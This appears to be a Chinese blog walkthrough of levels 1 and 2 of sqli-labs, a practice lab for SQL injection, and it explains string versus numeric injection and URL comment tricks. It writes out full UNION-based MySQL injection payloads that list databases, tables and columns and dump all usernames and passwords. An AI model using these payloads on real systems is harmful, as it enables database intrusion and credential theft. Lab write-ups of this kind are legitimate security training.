sqli-labs通关(一)(二)

第1关:

提示我们:

Please input the ID as parameter with numeric value

请输入ID作为带数值的参数

 我们输入 ?id=1

然后是?id=2

 ?id=10,我们发现输入的数值不同,返回的信息也不同,所以输入的数值应该是被代入到数据库中进行查询。猜测sql语句是select...from...where id='10',我们输入的参数被拼接到单引号中去

 我们输入?id=1’,

 sql语句是select...from...where id='1'',报错

 然后输入?id=1’--+

 sql语句是select...from...where id='1'-- ’,单引号闭合前面的单引号,--+在解释成--(空格)注释掉后面的单引号

 在sql语句中,#和-- (空格)表示注释后面的内容。在url中,以get方式发送请求的时候不能直接用#

解释执行的时候,url中#号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中不包括#,因此使用#闭合无法注释,会报错;而使用-- (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用--+的方式来闭合,因为+会被解释成空格。

也可以使用--%20,把空格转换为urlencode编码格式,也不会报错。同理把#变成%23,也不报错。

 如果是post请求,则可以直接使用#来进行闭合。常见的就是表单注入,如我们在后台登录框中进行注入。

接下来就是看查询的字段了,输入

?id=1' order by 3 --+

 回显正常,然后把3改成4,出现报错,说明查询字段是3个字段

所以猜测数据库的sql语句大概是这样子


select 字段1,字段2,字段3 from...where id='1'

但是它只显示两个字段,我们不知道它显示的是哪两个,这就用到union联合查询,输入

?id=-1' union select 1,2,3 --+

 可以看到它显示的是2,3字段

 接下来我们就可以利用这两个显示位来获取我们想要的信息了

获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,把显示位的2,3替换成数据库的函数

?id=-1' union select 1,database(),version() --+

 可以看到当前数据库名是:security,版本是5.5.29

 注意,在Mysql5.0以上, Mysql自带了Information_schema这个数据库, 5.0以下是没有的,information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

 接下来就是报表,看看security库下有哪些表

?id=-1' union select 1,2,group_concat(table_name)  from information_schema.tables where table_schema ='security' --+

 有四个表:emails,referers,uagents,users

 根据上面爆出的表名,我们猜测用户的账号信息存在users表中,所以我们查一下users表中有哪些字段

?id=-1' union select 1,2,group_concat(column_name)  from information_schema.columns where table_name='users' --+

 爆出三个字段名:id,username,password,分别是id,用户名和密码

 知道了库名,表名,字段名,接下来就可以爆出所有的用户名和密码了

?id=-1' union select 1,group_concat(username),group_concat(password)  from users--+

 第2关

我们正常输入?id=1,显示正常 

 我们输入

?id=1'--+

 回显异常,说明这一关不是字符型注入,是数字型注入

类似于select..from..where id=1

 后面的操作跟第一关一样,oder by猜测查询字段数,报错查看回显字段,联合查询想要的信息,暴库,爆表,爆列,字段名

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值